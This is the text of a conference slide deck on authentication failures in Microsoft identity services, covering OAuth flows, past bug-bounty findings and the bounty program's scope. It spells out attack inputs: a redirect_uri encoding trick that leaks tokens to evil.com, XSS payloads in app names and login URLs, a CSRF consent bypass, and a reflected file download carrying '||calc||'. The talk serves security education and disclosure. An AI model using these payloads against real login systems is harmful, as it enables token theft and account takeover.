Identity Crisis:
war stories from authentication failures

Vishal Chauhan (@axsdnied)
Microsoft
Someone wise once said

IMITATION IS THE SINCEREST FORM OF FLATTERY.

Charles Caleb Colton
English cleric, writer and collector
1780-1832
Goal
Agenda

1. Getting to know identity
2. Protocols and its nightmares
3. Identity Bounty
4. Conclusion
Getting to know Identity
Applications of Identity

Resources

Web  Mobile  IoT Devices  ...

Applications of Identity
Path to Identity: Milestones

SIGN-IN PROTOCOL

AUTHENTICATION PROTOCOL

TOKEN TYPE
Path to Identity: Sign in

Where?
AUTHENTICATION PROTOCOL

Path to Identity: Auth

How?

Form based
Kerberos
OpenID
...
Path to Identity: Token Type
Path to Identity:
Enterprise Vs Consumer

Enterprise
https://login.microsoftonline.com/common/oauth2/authorize (OAUTH/OPENID/JWT)
https://login.microsoftonline.com/login.srf (WS-FED/Kerberos/SAML)

Consumer
https://login.live.com/oauth20_authorize.srf (OAUTH/OPENID/JWT)
https://login.live.com/login.srf (WS-FED/SAML/Base64)
Protocols and its Nightmares
Authentication flow:
The Players

User

App -> Resource Provider

Trust

Identity Provider

App Manifest
- App ID
- Expected Permissions
- App URL

App -> Resource Provider

App -> Resource Provider
Authentication flow: Redirection
Authentication flow:
Redirection

```
https://login.microsoftonline.com/common/oauth2/authorize?
client_id=00000006-0000-0ff1-ce00-000000000000
scope=openid profile
response_type=code+id_token
response_mode=query
state=OpenIdConnect.AuthenticationProperties=myr2HdbOy[...]mwc
nonce=63[...]dh
redirect_uri=https://portal.office.com/landing
```
Authentication flow:
Back home
Authorization flow:
Redeem code for Token

[POST]

code=<Authorization Code>
redirect_uri=https://portal.office.com
grant_type=authorization_code
client_id=00000006-0000-0ff1-ce00-000000000000

“https://login.microsoftonline.com/common/oauth2/token/”

(USD) $20,000*2
What if?

  - evil.com?Code= [...] & id_token= [...] right?

- Let’s play with encoding a bit....
  
  Redirect_uri = https:%2f%2fportal.office.com%252f @ evil.com%2f microsoft%2f3f

  [user:password@] host[:port][/path][?query][#fragment]

  *Final token is sent out to provided host, which in this case is evil.com*
What if?

- I register an app and then Redirect_uri == https://evil.com
  - Profit 😊. Right?

⚠️ office.com is unique, so is every Microsoft app, they have implicit authorization
- For any other app, explicit user consent is required

Authentication flow:
The Consent
1: Some app requests Oauth access to a user's account

2: User approves or rejects

- Some apps are “preauthorized”

3: App receives a magic delegation token and access resource on User’s behalf
Oauth really doesn't make any sense to anyone (because it's bad, and whoever invented it should feel bad)

An awesome security researcher
Cross Site Request Forgery (CSRF)

Attack Scenario:
• Register a malicious app with full privilege scope
• Assume victim is already logged into one of Microsoft service
• Send a link to victim, which makes a POST REQUEST to consent (‘yes’) with malicious app
• App registered to victim with full privilege access without user consent

Authentication flow:
What ifs?
The app name is not properly encoded in consent screen?

**Cross site scripting (XSS)**

**Attack scenario:**
- Register an app
- `AppName=test"onload="alert(1)"param="` 
- Send victim link to login with your malicious app
- During auth flow XSS is executed, which can bypass consent and/or steal identity

**Authentication flow: What if?**
Authentication flow:
What Ifs? Its raining XSS


https://login.live.com/login.srf?}&alert`hello`{//&username=test@hotmail.com


https://login.microsoftonline.com/common/oauth2/v2.0/logout?p=b2c_1_ignite2017fullreg_registration_signinup&post_logout_redirect_uri=javascript:confirm(document.domain)

(USD)$5,000 to (USD)$13,000
From:
https://login.microsoftonline.com/common/userrealm/?user=xxxxxxx@gmail.com&api-version=2.1&stsRequest=rQIIAeNisFLOKCKpKlbS1y_ILypJzNHLT0vLTE7VS87P1csvSs9MAbGKhLgECi bvPLNWa5LrNO76xYk7LqSsYITDqVM_[...]._ggADXoqL8IqClrpGhibmRgamBhRkA0&checkForMicrosoftAccount=false

To:
https://login.microsoftonline.com/common/userrealm/setup.bat?user="||calc||&api-version=2.1

Result:
Reflected File Download

Authentication flow:
What Ifs? Out of box

(USD)$7,000
Authentication flow:
Enterprise Vs Consumer Identity

**Enterprise**
- [https://login.microsoftonline.com/common/oauth2/authorize](https://login.microsoftonline.com/common/oauth2/authorize) (OAUTH/OPENID/JWT)
- [https://login.microsoftonline.com/login.srf](https://login.microsoftonline.com/login.srf) (WS-FED/Kerberos/SAML)

**Consumer**
- [https://login.live.com/oauth20_authorize.srf](https://login.live.com/oauth20_authorize.srf) (OAUTH/OPENID/JWT)
- [https://login.live.com/login.srf](https://login.live.com/login.srf) (WS-FED/SAML/Base64)
Microsoft Identity Bounty
<table>
<thead>
<tr>
<th>Vulnerability Type</th>
<th>High Quality Submissions</th>
<th>Baseline Quality Submissions</th>
<th>Incomplete Submissions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Multi-factor Authentication Bypass</td>
<td>Up to $100,000</td>
<td>Up to $50,000</td>
<td>From $1,000</td>
</tr>
<tr>
<td>Standards design vulnerabilities</td>
<td>Up to $100,000</td>
<td>Up to $30,000</td>
<td>From $2,500</td>
</tr>
<tr>
<td>Standards-based implementation vulnerabilities</td>
<td>Up to $75,000</td>
<td>Up to $25,000</td>
<td>From $2,500</td>
</tr>
<tr>
<td>Significant Authentication Bypass</td>
<td>Up to $40,000</td>
<td>Up to $10,000</td>
<td>From $1,000</td>
</tr>
<tr>
<td>Cross-Site Scripting (XSS)</td>
<td>Up to $20,000</td>
<td>Up to $5,000</td>
<td>From $1,000</td>
</tr>
<tr>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>Up to $10,000</td>
<td>Up to $3,000</td>
<td>From $500</td>
</tr>
<tr>
<td>Authorization Flaw</td>
<td>Up to $8,000</td>
<td>Up to $4,000</td>
<td>From $500</td>
</tr>
</tbody>
</table>
Bounty Scope

- login.windows.net
- login.microsoftonline.com
- login.live.com
- account.live.com
- account.windowsazure.com
- account.activedirectory.windowsazure.com
- credential.activedirectory.windowsazure.com
- portal.office.com
- passwordreset.microsoftonline.com
- Microsoft Authenticator (iOS and Android applications)*
They say imitation is The sincerest form of flattery.

I call it identity theft!

Someone wiser 😊
Security is hard
(Everyone)
Identity is key to kingdom
References

Bounty

Identity documentations:
- https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-overview

Researcher Blogs:
- https://whitton.io/articles/obtaining-tokens-outlook-office-azure-account/
- https://www.synack.com/blog/how-i-hacked-hotmail/

Tools
- https://portswigger.net/burp/
Questions